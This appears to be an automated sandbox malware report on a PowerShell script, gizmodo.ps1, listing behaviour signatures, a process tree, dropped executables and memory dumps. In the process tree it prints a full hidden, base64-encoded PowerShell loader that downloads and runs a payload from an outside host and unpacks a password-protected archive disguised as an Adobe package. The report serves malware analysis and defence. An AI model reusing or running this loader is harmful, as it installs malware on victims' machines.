Analysis
- max time kernel
148s - max time network
124s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260618-en - resource tags
- submitted
20/06/2026, 05:01
General
- Target gizmodo.ps1
- Size 8KB
- Sample260620-fnkk3aev4v
- SHA256 ea450f81b5dd6d47971ce395055487a7e387a9bcdf70b58015d29293ec816a31
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Executes dropped EXE 2 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 6 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\gizmodo.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -EncodedCommand JABkAGwAUgBlAHMAdQBsAHQAPQBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBXADEATgA1AGMAMwBSAGwAYgBTADUATwBaAFgAUQB1AFUAMgBWAHkAZABtAGwAagBaAFYAQgB2AGEAVwA1ADAAVABXAEYAdQBZAFcAZABsAGMAbAAwADYATwBsAE4AbABZADMAVgB5AGEAWABSADUAVQBIAEoAdgBkAEcAOQBqAGIAMgB3ADkAVwAxAE4ANQBjADMAUgBsAGIAUwA1AE8AWgBYAFEAdQBVADIAVgBqAGQAWABKAHAAZABIAGwAUQBjAG0AOQAwAGIAMgBOAHYAYgBGAFIANQBjAEcAVgBkAE8AagBwAFUAYgBIAE0AeABNAGoAcwBrAGIAMgBzADkAVwAxAFIAbABlAEgAUQB1AFIAVwA1AGoAYgAyAFIAcABiAG0AZABkAE8AagBwAFYAVgBFAFkANABMAGsAZABsAGQARgBOADAAYwBtAGwAdQBaAHkAaABiAFEAMgA5AHUAZABtAFYAeQBkAEYAMAA2AE8AawBaAHkAYgAyADEAQwBZAFgATgBsAE4AagBSAFQAZABIAEoAcABiAG0AYwBvAEoAMgBGAEkAVQBqAEIAagBTAEUAMAAyAFQASABrADUAYQBsAHAASABOAFgAZABpAE0AMABvAHcAVwBWAGQAMwBkAEcAUgBZAFQAWABWAGwAUwBHAHcAMgBUAEQASgBHAGQAMgBGAFQATwBUAEoATwBRAHoAbAByAFkAagBOAGsAZABXAEoASABPAFcAaABhAFEAegBoADQAWQBsAGMANABNAGwAVQB4AFMAVAAwAG4ASwBTAGsANwBKAEgAUgB2AGEAegBNADkASgAyADkAUgBNADIAdABhAGIAbQBGAFAAUgB6AEYAYQBhAEcAZABsAFEAVwBjAHoAVQBVAEUAbgBPAHkAUgA0AE4ARAAxAEsAYgAyAGwAdQBMAFYAQgBoAGQARwBnAGcASgBHAFYAdQBkAGoAcABVAFIAVQAxAFEASQBDAGcAbgBZAG4AVgB1AFoARwB4AGwAWAB5AGMAcgBLAEUAZABsAGQAQwAxAEUAWQBYAFIAbABJAEMAMQBHAGIAMwBKAHQAWQBYAFEAZwBKADMAbAA1AGUAWABsAE4AVABXAFIAawBTAEUAaAB0AGIAWABOAHoASgB5AGsAcgBXADEATgAwAGMAbQBsAHUAWgAxADAAbwBSADIAVgAwAEwAVgBKAGgAYgBtAFIAdgBiAFMAQQB0AFQAVwBGADQAYQBXADEAMQBiAFMAQQA1AE8AVABrADUATwBUAGsAcABLAFQAdABPAFoAWABjAHQAUwBYAFIAbABiAFMAQQB0AFMAWABSAGwAYgBWAFIANQBjAEcAVQBnAFIARwBsAHkAWgBXAE4AMABiADMASgA1AEkAQwAxAFEAWQBYAFIAbwBJAEMAUgA0AE4AQwBBAHQAUgBtADkAeQBZADIAVgA4AFQAMwBWADAATABVADUAMQBiAEcAdwA3AEoASABSAHkAWQBXAE4AcgBaAFgASQA5AFMAbQA5AHAAYgBpADEAUQBZAFgAUgBvAEkAQwBSADQATgBDAEEAbgBRAFcAUgB2AFkAbQBWAFEAWQBXAE4AcgBZAFcAZABsAFYAMgBsAHUATABuAHAAcABjAEMAYwA3AEoARwBSAGwAWQAxAE4AMABjAGoAMAB3AE8AeQBSAHYAYwBIAFIAVwBZAFcAdwAxAFAAVABBADcAZAAyAGgAcABiAEcAVQBvAEwAVwA1AHYAZABDAEEAawBiADMAQgAwAFYAbQBGAHMATgBTAEEAdABZAFcANQBrAEkAQwBSAGsAWgBXAE4AVABkAEgASQBnAEwAVwB4ADAASQBEAE0AcABlADMAUgB5AGUAWABzAGsAYgBXAEYANABQAFUANQBsAGQAeQAxAFAAWQBtAHAAbABZADMAUQBnAFUAMwBsAHoAZABHAFYAdABMAGsANQBsAGQAQwA1AFgAWgBXAEoARABiAEcAbABsAGIAbgBRADcASgBHADEAaABlAEMANQBJAFoAVwBGAGsAWgBYAEoAegBMAGsARgBrAFoAQwBnAG4AVgBYAE4AbABjAGkAMQBCAFoAMgBWAHUAZABDAGMAcwBKADAAMQB2AGUAbQBsAHMAYgBHAEUAdgBOAFMANAB3AEkAQwBoAFgAYQBXADUAawBiADMAZAB6AEkARQA1AFUASQBEAEUAdwBMAGoAQQA3AEkARgBkAHAAYgBqAFkAMABPAHkAQgA0AE4AagBRADcASQBIAEoAMgBPAGoARQB5AE0AUwA0AHcASwBTAEIASABaAFcATgByAGIAeQA4AHkATQBEAEUAdwBNAEQARQB3AE0AUwBCAEcAYQBYAEoAbABaAG0AOQA0AEwAegBFAHkATQBTADQAdwBKAHkAawA3AEoARwAxAGgAZQBDADUARQBiADMAZAB1AGIARwA5AGgAWgBFAFoAcABiAEcAVQBvAEoARwA5AHIATABDAFIAMABjAG0ARgBqAGEAMgBWAHkASwBUAHQAcABaAGkAaABVAFoAWABOADAATABWAEIAaABkAEcAZwBnAEoASABSAHkAWQBXAE4AcgBaAFgASQBwAGUAeQBSAHYAYwBIAFIAVwBZAFcAdwAxAFAAVABGADkAWgBXAHgAegBaAFgAdABUAGQARwBGAHkAZABDADEAVABiAEcAVgBsAGMAQwBBAHQAVQAyAFYAagBiADIANQBrAGMAeQBBADAAZgBYADEAagBZAFgAUgBqAGEASAB0AFQAZABHAEYAeQBkAEMAMQBUAGIARwBWAGwAYwBDAEEAdABVADIAVgBqAGIAMgA1AGsAYwB5AEEAMABmAFQAcwBrAFoARwBWAGoAVQAzAFIAeQBLAHkAdAA5AE8AMgBsAG0ASwBDADEAdQBiADMAUQBnAEsARgBSAGwAYwAzAFEAdABVAEcARgAwAGEAQwBBAGsAZABIAEoAaABZADIAdABsAGMAaQBrAHAAZQAyAFYANABhAFgAUgA5AE8AeQBSAHYAYwBIAFIATABaAFgAawA5AFMAbQA5AHAAYgBpADEAUQBZAFgAUgBvAEkAQwBoAGIAVQAzAGwAegBkAEcAVgB0AEwAawBsAFAATABsAEIAaABkAEcAaABkAE8AagBwAEgAWgBYAFIAVQBaAFcAMQB3AFUARwBGADAAYQBDAGcAcABLAFMAQQBvAFcAMQBOADUAYwAzAFIAbABiAFMANQBKAFQAeQA1AFEAWQBYAFIAbwBYAFQAbwA2AFIAMgBWADAAVQBtAEYAdQBaAEcAOQB0AFIAbQBsAHMAWgBVADUAaABiAFcAVQBvAEsAUwBrADcAVABtAFYAMwBMAFUAbAAwAFoAVwAwAGcATABVAGwAMABaAFcAMQBVAGUAWABCAGwASQBFAFIAcABjAG0AVgBqAGQARwA5AHkAZQBTAEEAdABVAEcARgAwAGEAQwBBAGsAYgAzAEIAMABTADIAVgA1AEkAQwAxAEcAYgAzAEoAagBaAFgAeABQAGQAWABRAHQAVABuAFYAcwBiAEQAcwBrAGMAMgBOAHkAYQBYAEIAMABVAEcARgAwAGEARAAwAGsAYgBuAFYAcwBiAEQAdABtAGIAMwBKAGwAWQBXAE4AbwBLAEMAUgB6AFoAWABOAHoAYQBXADkAdQBTAFcAUQBnAGEAVwA0AGcAUQBDAGgASwBiADIAbAB1AEwAVgBCAGgAZABHAGcAZwBKAEcAVgB1AGQAagBwAFEAYwBtADkAbgBjAG0ARgB0AFYAegBZADAATQB6AEkAZwBKAHoAYwB0AFcAbQBsAHcAWABEAGQANgBMAG0AVgA0AFoAUwBjAHMAUwBtADkAcABiAGkAMQBRAFkAWABSAG8ASQBDAFIAbABiAG4AWQA2AFQARQA5AEQAUQBVAHgAQgBVAEYAQgBFAFEAVgBSAEIASQBDAGQAUQBjAG0AOQBuAGMAbQBGAHQAYwAxAHcAMwBMAFYAcABwAGMARgB3ADMAZQBpADUAbABlAEcAVQBuAEwAQwBkAEQATwBsAHgAUQBjAG0AOQBuAGMAbQBGAHQASQBFAFoAcABiAEcAVgB6AFgARABjAHQAVwBtAGwAdwBYAEQAZAA2AEwAbQBWADQAWgBTAGMAcwBTAG0AOQBwAGIAaQAxAFEAWQBYAFIAbwBJAEMAUgBsAGIAbgBZADYAVQBIAEoAdgBaADMASgBoAGIAVQBaAHAAYgBHAFYAegBJAEMAYwAzAEwAVgBwAHAAYwBGAHcAMwBlAGkANQBsAGUARwBVAG4ASwBTAGwANwBhAFcAWQBvAFYARwBWAHoAZABDADEAUQBZAFgAUgBvAEkAQwBSAHoAWgBYAE4AegBhAFcAOQB1AFMAVwBRAHAAZQB5AFIAegBZADMASgBwAGMASABSAFEAWQBYAFIAbwBQAFMAUgB6AFoAWABOAHoAYQBXADkAdQBTAFcAUQA3AFkAbgBKAGwAWQBXAHQAOQBmAFQAdABwAFoAaQBnAHQAYgBtADkAMABJAEMAUgB6AFkAMwBKAHAAYwBIAFIAUQBZAFgAUgBvAEsAWABzAGsAZABHAE4AdwBRADIAOQB1AGIAagAxAEsAYgAyAGwAdQBMAFYAQgBoAGQARwBnAGcASgBHAFYAdQBkAGoAcABVAFIAVQAxAFEASQBDAGgAYgBTAFUAOAB1AFUARwBGADAAYQBGADAANgBPAGsAZABsAGQARgBKAGgAYgBtAFIAdgBiAFUAWgBwAGIARwBWAE8AWQBXADEAbABLAEMAawByAEoAeQA1AGwAZQBHAFUAbgBLAFQAcwBrAGQAbQBWAHkAYQBXAFoANQBTADIAVgA1AE0AagAwAGsAWgBtAEYAcwBjADIAVQA3AFoAbQA5AHkAWgBXAEYAagBhAEMAZwBrAGMAMwBsAHQATQBpAEIAcABiAGkAQgBBAEsAQwBkAG8AZABIAFIAdwBjAHoAbwB2AEwAMgBOAGsAYgBuAEIAdgBjAG4AUgBoAGIAQwAxADEAYwB5ADUANABlAFgAbwB2AE4AMwBvAHUAWgBYAGgAbABKAHkAawBwAGUAMwBSAHkAZQBYAHQASgBiAG4AWgB2AGEAMgBVAHQAVgAyAFYAaQBVAG0AVgB4AGQAVwBWAHoAZABDAEEAdABWAFgASgBwAEkAQwBSAHoAZQBXADAAeQBJAEMAMQBQAGQAWABSAEcAYQBXAHgAbABJAEMAUgAwAFkAMwBCAEQAYgAyADUAdQBJAEMAMQBWAGMAMgBWAEMAWQBYAE4AcABZADEAQgBoAGMAbgBOAHAAYgBtAGMAZwBMAFYAUgBwAGIAVwBWAHYAZABYAFIAVABaAFcATQBnAE4AagBVAGcATABVAFYAeQBjAG0AOQB5AFEAVwBOADAAYQBXADkAdQBJAEYATgAwAGIAMwBBADcAYQBXAFkAbwBLAEYAUgBsAGMAMwBRAHQAVQBHAEYAMABhAEMAQQBrAGQARwBOAHcAUQAyADkAdQBiAGkAawBnAEwAVwBGAHUAWgBDAEEAbwBLAEUAZABsAGQAQwAxAEoAZABHAFYAdABJAEMAUgAwAFkAMwBCAEQAYgAyADUAdQBLAFMANQBNAFoAVwA1AG4AZABHAGcAZwBMAFcAZAAwAEkARABFAHcATQBEAEEAdwBNAEMAawBwAGUAeQBSADIAWgBYAEoAcABaAG4AbABMAFoAWABrAHkAUABTAFIAMABjAG4AVgBsAE8AMgBKAHkAWgBXAEYAcgBmAFgAMQBqAFkAWABSAGoAYQBIAHQAOQBmAFQAdABwAFoAaQBnAGsAZABtAFYAeQBhAFcAWgA1AFMAMgBWADUATQBpAGwANwBKAEgATgBqAGMAbQBsAHcAZABGAEIAaABkAEcAZwA5AEoASABSAGoAYwBFAE4AdgBiAG0ANQA5AGYAVABzAGsAYwBtAFYAagBiADMASgBrAE0AagAxAEEASwBDAGQANABKAHkAdwBuAEwAWABrAG4ASwBUAHQAcABaAGkAZwBrAGQARwA5AHIATQB5AEEAdABiAG0AVQBnAEoAeQBjAHAAZQB5AFIAeQBaAFcATgB2AGMAbQBRAHkASwB6ADAAbwBKAHkAMQB3AEoAeQBzAGsAZABHADkAcgBNAHkAbAA5AE8AeQBSAHkAWgBXAE4AdgBjAG0AUQB5AEsAegAwAG8ASgB5ADEAdgBKAHkAcwBrAGIAMwBCADAAUwAyAFYANQBLAFQAcwBrAGMAbQBWAGoAYgAzAEoAawBNAGkAcwA5AEoASABSAHkAWQBXAE4AcgBaAFgASQA3AEoARwB4AGgAZABXADUAagBhAEYAQgBoAGQARwBnADkATQBEAHQAcABaAGkAZwBrAGMAMgBOAHkAYQBYAEIAMABVAEcARgAwAGEAQwBsADcASgBpAEEAawBjADIATgB5AGEAWABCADAAVQBHAEYAMABhAEMAQgBBAEsAQwBSAHkAWgBXAE4AdgBjAG0AUQB5AEsAWAB4AFAAZABYAFEAdABUAG4AVgBzAGIARAB0AHAAWgBpAGcAbwBSADIAVgAwAEwAVQBOAG8AYQBXAHgAawBTAFgAUgBsAGIAUwBBAHQAVQBHAEYAMABhAEMAQQBrAGIAMwBCADAAUwAyAFYANQBJAEMAMQBHAGIAMwBKAGoAWgBTAEEAdABSAFgASgB5AGIAMwBKAEIAWQAzAFIAcABiADIANABnAFUAMgBsAHMAWgBXADUAMABiAEgAbABEAGIAMgA1ADAAYQBXADUAMQBaAFgAeABOAFoAVwBGAHoAZABYAEoAbABMAFUAOQBpAGEAbQBWAGoAZABDAGsAdQBRADIAOQAxAGIAbgBRAGcATABXAGQAMABJAEQAQQBwAGUAeQBSAHMAWQBYAFYAdQBZADIAaABRAFkAWABSAG8AUABUAEYAOQBmAFQAdABwAFoAaQBnAHQAYgBtADkAMABJAEMAUgBzAFkAWABWAHUAWQAyAGgAUQBZAFgAUgBvAEsAWAB0ADAAYwBuAGwANwBVAG0AVgB0AGIAMwBaAGwATABVAGwAMABaAFcAMABnAEwAVQB4AHAAZABHAFYAeQBZAFcAeABRAFkAWABSAG8ASQBDAFIAMABjAG0ARgBqAGEAMgBWAHkASQBDADEARwBiADMASgBqAFoAUwBBAHQAUgBYAEoAeQBiADMASgBCAFkAMwBSAHAAYgAyADQAZwBVADIAbABzAFoAVwA1ADAAYgBIAGwARABiADIANQAwAGEAVwA1ADEAWgBYADEAagBZAFgAUgBqAGEASAB0ADkATwAyAFYANABhAFgAUgA5AE8AeQBSAHoAYwBHAEYAdQBQAFUAZABsAGQAQwAxAEQAYQBHAGwAcwBaAEUAbAAwAFoAVwAwAGcATABWAEIAaABkAEcAZwBnAEoARwA5AHcAZABFAHQAbABlAFMAQQB0AFIAbQBsAHMAZABHAFYAeQBJAEMAbwB1AFoAWABoAGwASQBDADEAUwBaAFcATgAxAGMAbgBOAGwASQBDADEARwBhAFcAeABsAGYARgBOAGwAYgBHAFYAagBkAEMAMQBQAFkAbQBwAGwAWQAzAFEAZwBMAFUAWgBwAGMAbgBOADAASQBEAEUANwBKAEcAaAAwAGQASABCAEQAYgAyAFIAbABQAFUAZABsAGQAQwAxAEQAYQBHAGwAcwBaAEUAbAAwAFoAVwAwAGcATABWAEIAaABkAEcAZwBnAEoARwA5AHcAZABFAHQAbABlAFMAQQB0AFIAbQBsAHMAZABHAFYAeQBJAEMAbwB1AGIAWABOAHAASQBDADEAUwBaAFcATgAxAGMAbgBOAGwASQBDADEARwBhAFcAeABsAGYARgBOAGwAYgBHAFYAagBkAEMAMQBQAFkAbQBwAGwAWQAzAFEAZwBMAFUAWgBwAGMAbgBOADAASQBEAEUANwBKAEcARgBuAFoAVAAwAGsAYgBuAFYAcwBiAEQAdABwAFoAaQBnAGsAYwAzAEIAaABiAGkAbAA3AEoARwBGAG4AWgBUADAAawBjADMAQgBoAGIAaQA1AEcAZABXAHgAcwBUAG0ARgB0AFoAVABzAGsAYgBuAEIAdABQAFMAUgB6AGMARwBGAHUATABrAFIAcABjAG0AVgBqAGQARwA5AHkAZQBTADUARwBkAFcAeABzAFQAbQBGAHQAWgBYADEAbABiAEgATgBsAGEAVwBZAG8ASgBHAGgAMABkAEgAQgBEAGIAMgBSAGwASwBYAHMAawBZAFcAZABsAFAAUwBSAG8AZABIAFIAdwBRADIAOQBrAFoAUwA1AEcAZABXAHgAcwBUAG0ARgB0AFoAVABzAGsAYgBuAEIAdABQAFMAUgBvAGQASABSAHcAUQAyADkAawBaAFMANQBFAGEAWABKAGwAWQAzAFIAdgBjAG4AawB1AFIAbgBWAHMAYgBFADUAaABiAFcAVgA5AE8AMgBsAG0ASwBDAFIAaABaADIAVQBwAGUAMgBsAG0ASwBDAFIAdQBjAEcAMABwAGUAMQBOADAAWQBYAEoAMABMAFYATgBzAFoAVwBWAHcASQBDADEAVABaAFcATgB2AGIAbQBSAHoASQBEAEUAeABPADMAUgB5AGUAWAB0AFQAZABHAEYAeQBkAEMAMQBRAGMAbQA5AGoAWgBYAE4AegBJAEMAMQBHAGEAVwB4AGwAVQBHAEYAMABhAEMAQQBrAFkAVwBkAGwASQBDADEAWABiADMASgByAGEAVwA1AG4AUgBHAGwAeQBaAFcATgAwAGIAMwBKADUASQBDAFIAdQBjAEcAMABnAEwAVgBkAHAAYgBtAFIAdgBkADEATgAwAGUAVwB4AGwASQBFAGgAcABaAEcAUgBsAGIAaQBBAHQAUgBYAEoAeQBiADMASgBCAFkAMwBSAHAAYgAyADQAZwBVADMAUgB2AGMASAAxAGoAWQBYAFIAagBhAEgAdAAwAGMAbgBsADcASgBpAEEAawBZAFcAZABsAGYAVwBOAGgAZABHAE4AbwBlADMAMQA5AGYAVwBWAHMAYwAyAFYANwBVADMAUgBoAGMAbgBRAHQAVQAyAHgAbABaAFgAQQBnAEwAVgBOAGwAWQAyADkAdQBaAEgATQBnAE0AVABFADcAZABIAEoANQBlADEATgAwAFkAWABKADAATABWAEIAeQBiADIATgBsAGMAMwBNAGcATABVAFoAcABiAEcAVgBRAFkAWABSAG8ASQBDAFIAaABaADIAVQBnAEwAVgBkAHAAYgBtAFIAdgBkADEATgAwAGUAVwB4AGwASQBFAGgAcABaAEcAUgBsAGIAaQBBAHQAVQBHAEYAegBjADEAUgBvAGMAbgBVAGcATABVAFYAeQBjAG0AOQB5AFEAVwBOADAAYQBXADkAdQBJAEYATgAwAGIAMwBCADgAVAAzAFYAMABMAFUANQAxAGIARwB4ADkAWQAyAEYAMABZADIAaAA3AGQASABKADUAZQAxAE4AMABZAFgASgAwAEwAVgBCAHkAYgAyAE4AbABjADMATQBnAEwAVQBaAHAAYgBHAFYAUQBZAFgAUgBvAEkAQwBSAGgAWgAyAFUAZwBMAFYAZABwAGIAbQBSAHYAZAAxAE4AMABlAFcAeABsAEkARQBoAHAAWgBHAFIAbABiAG4AMQBqAFkAWABSAGoAYQBIAHQAMABjAG4AbAA3AEoAaQBBAGsAWQBXAGQAbABmAFcATgBoAGQARwBOAG8AZQAzADEAOQBmAFgAMQA5AE8AMwBSAHkAZQBYAHQAUwBaAFcAMQB2AGQAbQBVAHQAUwBYAFIAbABiAFMAQQB0AFQARwBsADAAWgBYAEoAaABiAEYAQgBoAGQARwBnAGcASgBIAFIAeQBZAFcATgByAFoAWABJAGcATABVAFoAdgBjAG0ATgBsAEkAQwAxAEYAYwBuAEoAdgBjAGsARgBqAGQARwBsAHYAYgBpAEIAVABhAFcAeABsAGIAbgBSAHMAZQBVAE4AdgBiAG4AUgBwAGIAbgBWAGwAZgBXAE4AaABkAEcATgBvAGUAMwAwAD0AJwApADsAJABkAGIAPQAtAGoAbwBpAG4AIAAoAFsAYwBoAGEAcgBbAF0AXQAkAGQAbABSAGUAcwB1AGwAdAApADsAaQBlAHgAIAAkAGQAYgA=2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\oz5buvuc.cuz.exe"C:\Users\Admin\AppData\Local\Temp\oz5buvuc.cuz.exe" x -y -poQ3kZnaOG1ZhgeAg3QA -oC:\Users\Admin\AppData\Local\Temp\qre04xoy.qu5 C:\Users\Admin\AppData\Local\Temp\bundle_20260620060119475169\AdobePackageWin.zip3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\qre04xoy.qu5\CSwdsa.exe"C:\Users\Admin\AppData\Local\Temp\qre04xoy.qu5\CSwdsa.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
AdobePackageWin.zip
oz5buvuc.cuz.exe
CSwdsa.exe
memory/2324-9-0x00007FFB338C0000-0x00007FFB34264000-memory.dmp
memory/2324-7-0x00007FFB338C0000-0x00007FFB34264000-memory.dmp
memory/2324-8-0x00007FFB338C0000-0x00007FFB34264000-memory.dmp
memory/2324-0-0x00007FFB33A4F000-0x00007FFB33A50000-memory.dmp
memory/2324-10-0x00007FFB338C0000-0x00007FFB34264000-memory.dmp
memory/2324-11-0x00007FFB338C0000-0x00007FFB34264000-memory.dmp
memory/2324-14-0x00007FFB338C0000-0x00007FFB34264000-memory.dmp
memory/2324-13-0x00007FFB338C0000-0x00007FFB34264000-memory.dmp
memory/2324-3-0x000002B007F80000-0x000002B007FA2000-memory.dmp
memory/2324-4-0x00007FFB338C0000-0x00007FFB34264000-memory.dmp
memory/2324-5-0x00007FFB338C0000-0x00007FFB34264000-memory.dmp
memory/2324-6-0x00007FFB338C0000-0x00007FFB34264000-memory.dmp
memory/2496-22-0x00007FFB338C0000-0x00007FFB34264000-memory.dmp
memory/2496-32-0x00007FFB338C0000-0x00007FFB34264000-memory.dmp
memory/2496-23-0x00007FFB338C0000-0x00007FFB34264000-memory.dmp
memory/2496-24-0x00007FFB338C0000-0x00007FFB34264000-memory.dmp
memory/2496-27-0x00007FFB338C0000-0x00007FFB34264000-memory.dmp
memory/2496-19-0x00007FFB338C0000-0x00007FFB34264000-memory.dmp
memory/2496-16-0x00007FFB338C0000-0x00007FFB34264000-memory.dmp
memory/2496-21-0x00007FFB338C0000-0x00007FFB34264000-memory.dmp
memory/2496-33-0x00007FFB338C0000-0x00007FFB34264000-memory.dmp
memory/2496-36-0x00007FFB338C0000-0x00007FFB34264000-memory.dmp
memory/2496-38-0x00007FFB338C0000-0x00007FFB34264000-memory.dmp
memory/2496-15-0x00007FFB338C0000-0x00007FFB34264000-memory.dmp
memory/2496-43-0x00007FFB338C0000-0x00007FFB34264000-memory.dmp
memory/5484-42-0x0000000140000000-0x0000000142F43000-memory.dmp
memory/5484-44-0x0000000140000000-0x0000000142F43000-memory.dmp